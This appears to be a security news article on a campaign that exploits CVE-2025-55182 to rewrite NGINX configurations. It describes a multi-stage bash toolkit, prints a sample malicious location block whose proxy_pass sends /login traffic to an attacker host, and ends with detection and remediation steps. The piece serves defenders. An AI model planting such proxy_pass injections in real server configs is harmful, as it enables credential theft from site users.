Silent Hijack: Massive Campaign Turns NGINX Servers Into “Zombie Proxies” for Traffic Theft

TL;DR

• The Threat: A sophisticated cyberespionage campaign is compromising NGINX web servers to silently intercept and redirect legitimate user traffic.
• The Vector: Attackers are leveraging the React2Shell (CVE-2025-55182) vulnerability to gain initial access, then deploying a custom toolkit to modify NGINX configurations.
• The Mechanism: Unlike traditional malware that runs as a process, this attack hides inside legitimate configuration files (nginx.conf) using the proxy_pass directive, making it nearly invisible to standard antivirus scans.
• The Targets: Heavy focus on Asian top-level domains (.in, .id, .th, .bd), the Baota (BT) Management Panel, and critical Government (.gov) and Education (.edu) sectors.
• Immediate Action: Administrators must audit their sites-enabled and nginx.conf files for unauthorized location blocks and proxy_pass directives pointing to unknown IPs.

The Invisible Man-in-the-Middle

In a chilling evolution of web server compromise, cybersecurity researchers have uncovered a massive, active campaign that doesn’t just steal data—it steals the highway the data travels on.

Disclosed today, the campaign represents a shift in tactics. Rather than deploying noisy ransomware or easily detectable crypto-miners, threat actors are turning the internet’s most popular web server, NGINX, against its owners. By injecting malicious lines of code into the server’s configuration, they are effectively turning legitimate websites into “zombie proxies” that seamlessly forward user credentials, session tokens, and sensitive data to attacker-controlled infrastructure.

“The malicious configuration intercepts legitimate web traffic between users and websites and routes it through attacker-controlled backend servers,” explains a security researcher. “This is stealth at its finest. The server is still running, the website is still up, but every request is being mirrored or manipulated.”

The Scale of the Attack

The numbers are staggering. Following the disclosure of the React2Shell vulnerability two months ago, exploitation has reached a fever pitch.

According to threat intelligence firm GreyNoise, just two IP addresses—193.142.147[.]209 and 87.121.84[.]24—are responsible for 56% of all observed exploitation attempts. Between January 26 and February 2, 2026, over 1,083 unique source IP addresses were flagged participating in this frenzy.

This is not a random smash-and-grab; it is a coordinated effort to secure long-term, persistent access to high-value infrastructure.

The React2Shell Connection: How They Get In

To understand the NGINX hijack, we must first understand the entry point: React2Shell (CVE-2025-55182).

Rated with a CVSS score of 10.0 (Critical), React2Shell is a remote code execution vulnerability affecting modern web applications. It allows an unauthenticated attacker to execute arbitrary commands on a server simply by sending a specially crafted HTTP request.

The Attack Chain:

1. Reconnaissance: Attackers scan the internet for servers vulnerable to React2Shell.
2. Exploitation: They send the exploit payload, gaining shell access to the server.
3. Persistence (The NGINX Hijack): Instead of just staying in memory (where a reboot would kill them), they use their access to rewrite the rules of the web server itself.

“The dominant sources deploy distinct post-exploitation payloads,” GreyNoise noted in their report. “One retrieves cryptomining binaries… while the other opens reverse shells directly to the scanner IP. This approach suggests interest in interactive access rather than automated resource extraction.”

This “interactive access” is what leads to the deployment of the NGINX Hijacking Toolkit.

Deep Dive: The Hijacking Toolkit

The sophistication of this campaign lies in its tooling. The attackers have developed a modular, multi-stage bash script framework designed to identify the environment, locate the NGINX configuration, and inject the malicious rules without crashing the server.

Here is a breakdown of the five key components identified by Datadog Security Labs:

The Orchestrator: zx.sh

This is the beachhead. Once the attackers have shell access, they execute zx.sh.

• Function: It acts as the command center.
• Resilience: It attempts to download the subsequent stages using standard tools like curl or wget.
• Stealth: If standard downloaders are blocked by firewalls or security policies, zx.sh is programmed to open a raw TCP connection to manually construct an HTTP request and fetch the payloads. This bypasses many basic application-layer firewalls.

The Baota Assassin: bt.sh

This script is specifically engineered to target the Baota (BT) Panel, a popular server management dashboard widely used in China and Asian markets.

• Targeting: It looks for the specific directory structures used by Baota.
• Action: It overwrites the NGINX configuration files managed by the panel, ensuring that even if the administrator tries to update the site via the GUI, the malicious redirects remain or are re-injected.

The Broadcaster: 4zdh.sh

This is the general-purpose infection script.

• Enumeration: It scans common NGINX configuration paths (/etc/nginx/, /usr/local/nginx/conf/).
• Safety Checks: Astonishingly, the malware cares about system stability. It takes steps to minimize syntax errors when creating new configurations. The attackers don’t want to crash your NGINX server—that would alert you. They want it running smoothly, carrying their payload.

The Sniper: zdh.sh

A more targeted variant of the broadcaster.

• Focus: It specifically targets Linux environments and containerized NGINX configurations.
• Target Selection: It has logic to prioritize domains ending in specific Top-Level Domains (TLDs) such as .in (India) and .id (Indonesia), indicating a geopolitical or regional focus for this specific module.

The Reporter: ok.sh

The final stage is quality assurance.

• Audit: It scans the compromised server to generate a report of all active hijacking rules.
• Exfiltration: It details which domains have been successfully hijacked and sends this list back to the attacker’s Command and Control (C2) server.

Anatomy of the Malicious Config: proxy_pass Abuse

How does the hijack actually work technically? It relies on a legitimate NGINX directive called proxy_pass.

Normally, proxy_pass is used to send traffic from the public-facing web server to a backend application (like a Node.js or Python app).

The Attack: The attackers inject a new location block into your configuration. It might look something like this (conceptual example):

location /login {
    proxy_pass [http://attacker-controlled-site.com](http://attacker-controlled-site.com);
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
}

The Result:

1. A user visits your-gov-site.gov/login.
2. NGINX sees the /login path match.
3. Instead of serving the real login page, NGINX silently forwards the request to attacker-controlled-site.com.
4. The attacker serves a perfect replica of the login page.
5. The user enters credentials.
6. The attacker records the credentials and then redirects the user back to the real site, often displaying a “Login failed, please try again” message to avoid suspicion.

Because the SSL certificate is handled by the compromised NGINX server, the user sees a valid HTTPS lock icon. The browser trusts the connection, and the user has no way of knowing their request was detoured.

Target Profile: Who is at Risk?

The telemetry data suggests a highly specific targeting profile, though the collateral damage is widespread.

Geographic Focus

The campaign is heavily concentrated on Asian infrastructure.

• .in (India)
• .id (Indonesia)
• .th (Thailand)
• .bd (Bangladesh)
• .pe (Peru) – An outlier, likely due to specific government infrastructure targeted there.

Sector Focus

• Government (.gov): High-value targets for espionage and state-sponsored intelligence gathering.
• Education (.edu): often possess high bandwidth, massive computing power, and valuable intellectual property, but frequently suffer from under-resourced IT security teams.

Infrastructure Focus

• Baota (BT) Panel: The explicit inclusion of bt.sh indicates a strong focus on Chinese hosting infrastructure.
• Cloud Environments: The GreyNoise data highlights a coordinated reconnaissance campaign targeting Citrix ADC Gateway and Netscaler Gateway, using Azure IPs for discovery.

Is Your Server Compromised?

If you run NGINX, especially if you have recently patched or delayed patching React applications, you must perform a manual audit immediately.

Check Active Processes: Look for unexpected shell scripts running in the background. ps aux | grep .sh Be on the lookout for zx.sh, bt.sh, or similarly named scripts running from /tmp or /dev/shm.

Audit NGINX Configurations: This is the most critical step. You cannot rely on file modification times alone, as attackers can “touch” files to reset timestamps.

Run a grep search for suspicious proxy_pass directives in your configuration directory: grep -r "proxy_pass" /etc/nginx/

Red Flags to Look For:

• proxy_pass pointing to IP addresses you do not recognize.
• proxy_pass pointing to domains that look like typosquats or random strings.
• New location blocks defined in the main nginx.conf that shouldn’t be there.
• Include statements pointing to hidden files (e.g., include /etc/nginx/.hidden.conf;).

Verify with: nginx -T Run nginx -T (capital T) to dump the entire parsed configuration to the screen. This will show you exactly what NGINX is loading, including any included files that might be hiding in obscure directories.

Check for the “Reporter” Artifacts: The ok.sh script reportedly generates a list of active rules. Check for unexpected text files in temporary directories: ls -la /tmp ls -la /dev/shm

Remediation and Hardening

If you find evidence of compromise, assume the server is fully owned.

1. Isolate: Disconnect the server from the network immediately.
2. Rebuild: Do not attempt to just “delete the bad lines.” The attackers have had shell access. They could have installed other backdoors, created new users, or modified binaries. Rebuilding from a clean source is the only safe option.
3. Patch React: Ensure all applications utilizing React Server Components are patched against CVE-2025-55182.
4. Lock Down NGINX:
   • Run NGINX as an unprivileged user.
   • Use chroot or containerization to limit file system access.
   • Implement File Integrity Monitoring (FIM) on your /etc/nginx directory to alert you instantly if a configuration file is changed.

The Expert View

“This is a wake-up call for the ‘set it and forget it’ mentality of web server administration,” Jenkins warned. “We spend millions on endpoint protection and firewalls, but if the attacker can rewrite the logic of the web server itself, none of that matters. They are living off the land, using your own infrastructure tools against you.”

The report adds another layer of concern regarding the coordinated nature of the attacks: “The campaign ran two distinct modes: a massive distributed login panel discovery operation… and a concentrated AWS-hosted version disclosure sprint. They had complementary objectives… which suggests coordinated reconnaissance.”

Conclusion

The “Silent Hijack” campaign is a stark reminder that in 2026, vulnerabilities are not just about crashing systems or encrypting files—they are about subversion. By compromising the trust between the user and the web server, attackers have found a way to siphon data invisibly.

Administrators of NGINX servers, particularly those in the targeted regions and sectors, must move to a posture of active defense. Verify your configurations, lock down your permissions, and assume that if you are vulnerable to React2Shell, the intruders are already inside.

Frequently Asked Questions (FAQs)

Q: Is my NGINX server vulnerable if I don’t use React?
A: The entry point for this specific campaign is the React2Shell vulnerability. If you do not host any applications using vulnerable React Server Components on your server, you are likely safe from this specific attack vector. However, if an attacker gains access via any other method (weak SSH passwords, other web app bugs), they can use this same toolkit to hijack NGINX.

Q: Will an SSL/TLS certificate protect my users from this attack?
A: No. Because the attacker controls the NGINX server where the SSL termination happens, the connection between the user and the NGINX server is still valid and encrypted. The hijacking happens after the encryption is decrypted by NGINX, or the attacker proxies the traffic to their own server which also has a valid cert.

Q: Why does the attack target the Baota (BT) Panel?
A: The Baota Panel is extremely popular in Asia for managing servers. By creating a script (bt.sh) specifically for it, attackers can automate the infection of thousands of servers that use this standardized management tool, maximizing their ROI.

Q: What is the “proxy_pass” directive?
A: It is a standard NGINX command used to forward a request to another server. It is essential for Load Balancing and Reverse Proxy setups. Attackers abuse it by forwarding requests to their servers instead of the legitimate backend.

Q: How can I block the attackers’ IP addresses?
A: While blocking specific IPs is a game of whack-a-mole, you can start by blocking the high-traffic IPs identified by GreyNoise: 193.142.147.209 and 87.121.84.24. However, detection based on behavior (unexpected config changes) is far more effective than IP blocking.